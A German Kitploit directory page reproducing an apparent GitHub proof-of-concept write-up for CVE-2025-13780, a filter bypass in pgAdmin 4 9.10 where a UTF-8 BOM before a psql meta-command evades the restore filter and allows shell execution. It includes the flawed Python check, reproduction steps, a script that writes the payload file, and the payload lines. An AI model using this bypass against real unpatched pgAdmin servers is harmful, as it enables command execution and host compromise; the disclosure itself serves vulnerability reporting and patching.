Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
pgadmin4-9.10-CVE-2025-13780 — Proof of Concept für CVE-2025-13780 | Kitploit
Tools/GitHubGitHub/zeropwn/pgadmin4-9.10-cve-2025-13780
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and ControlPayload-Entwicklung
GitHubzeropwn/pgadmin4-9.10-cve-2025-13780

pgadmin4-9.10-CVE-2025-13780

Proof of Concept für CVE-2025-13780

Repository anzeigen
1411vor 9 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

pgadmin4 < 9.11 Meta-Command-Filter-Befehlsausführung

Zusammenfassung

Der Meta-Command-Filter für PLAIN-Restores, der in pgAdmin als Teil der Behebung für Issue 9320 eingeführt wurde, erkennt Meta-Commands nicht, wenn eine SQL-Datei mit einem UTF-8-Byte-Order-Mark (EF BB BF) oder anderen speziellen Sequenzen beginnt. Der implementierte Filter verwendet die Funktion has_meta_commands(), die Rohbytes mit einem regulären Ausdruck scannt. Der Regex behandelt die Bytes nicht als ignorierbar, sodass Meta-Commands wie ! unerkannt bleiben. Wenn pgAdmin psql mit --file aufruft, entfernt psql die Bytes und führt den Befehl aus. Dies kann während eines Restore-Vorgangs zu Remote-Befehlsausführung führen.

Dieser Bypass betrifft den Patch, der in Commit 1d397395f75320ca1d4ed5e9ca721c603415e836 (https://github.com/pgadmin-org/pgadmin4/commit/1d397395f75320ca1d4ed5e9ca721c603415e836) eingeführt wurde.

Betroffene Versionen

Bestätigt betroffen:

  • pgAdmin 9.10-Snapshot
    Commit: 63ee81202b65e1e8923eb1b917b49312a6fb7df2 (2025-11-13)

Wahrscheinlich betroffen:

  • Jede Version, die das gepatchte has_meta_commands() aus Commit 1d397395f75320ca1d4ed5e9ca721c603415e836 enthält.

Gegenmaßnahmen

  • 9.11+: PLAIN-Restores laufen im eingeschränkten psql-Modus (\restrict) aus, daher werden Meta-Commands jetzt von psql selbst blockiert.
  • 9.10: anfällig für Filter-Bypass.

Details

Fundstelle:

  • web/pgadmin/tools/restore/__init__.py
  • Funktion has_meta_commands()

Relevanter Code (aus der gepatchten Version):

root@kitploit:~
def has_meta_commands(path, chunk_size=8 * 1024 * 1024):
    pattern = re.compile(br'(^|\n)[ \t]*\\')

    with open(path, "rb") as f:
        prev_tail = b""
        while chunk := f.read(chunk_size):
            data = prev_tail + chunk

            if pattern.search(data):
                return True

            prev_tail = data[-10:]

    return False

Grundursache:

  1. SQL-Dateien werden im Binärmodus geöffnet.
  2. Der Regex behandelt vor einem Backslash nur Leerzeichen und Tabulatoren als ignorierbar.
  3. Ein vor dem Backslash platziertes UTF-8-BOM (EF BB BF) oder eine ähnliche Sequenz verhindert die Erkennung.
  4. pgAdmin schließt fälschlicherweise, dass die Datei keine Meta-Commands enthält.
  5. psql entfernt das BOM beim Lesen und führt den Meta-Command normal aus.

Erwartetes Verhalten:

  • SQL-Dateien mit Meta-Commands sollten unabhängig vom BOM blockiert werden.

Tatsächliches Verhalten:

  • Meta-Commands mit BOM-Präfix umgehen den Filter und ermöglichen die Ausführung.

Reproduktionsschritte

Schritt 1: Erstellen Sie eine SQL-Datei, die mit einem BOM und einem Meta-Command beginnt.

root@kitploit:~
payload = b"\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran\nSELECT 1;\n"
with open("bypass_bom.sql", "wb") as f:
    f.write(payload)

Schritt 2: BOM überprüfen:

root@kitploit:~
xxd bypass_bom.sql | head -1

Erwartet:

root@kitploit:~
ef bb bf 5c 21 ...

Schritt 3: Datei in den pgAdmin-Speicher legen:

root@kitploit:~
/var/lib/pgadmin/storage/<user>/bypass_bom.sql

Schritt 4: In pgAdmin: Restore -> Format: PLAIN -> bypass_bom.sql auswählen -> Ausführen

Schritt 5: Ausführung überprüfen:

root@kitploit:~
ls /tmp/bom_ran

Die Kontrolldatei ohne BOM wird korrekt blockiert.

Proof of Concept (PoC)

Payload mit BOM-Präfix:

root@kitploit:~
\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran
SELECT 1;

Kontroll-Payload:

root@kitploit:~
\\! echo SHOULD_BE_BLOCKED
SELECT 1;

Auswirkungen

  • Befehlsausführung über Meta-Commands.
  • Beliebiges Lesen/Schreiben von Dateien.
  • Vollständige Kompromittierung des pgAdmin-Hosts.
  • Mögliche Kompromittierung verbundener PostgreSQL-Server.
Tool herunterladen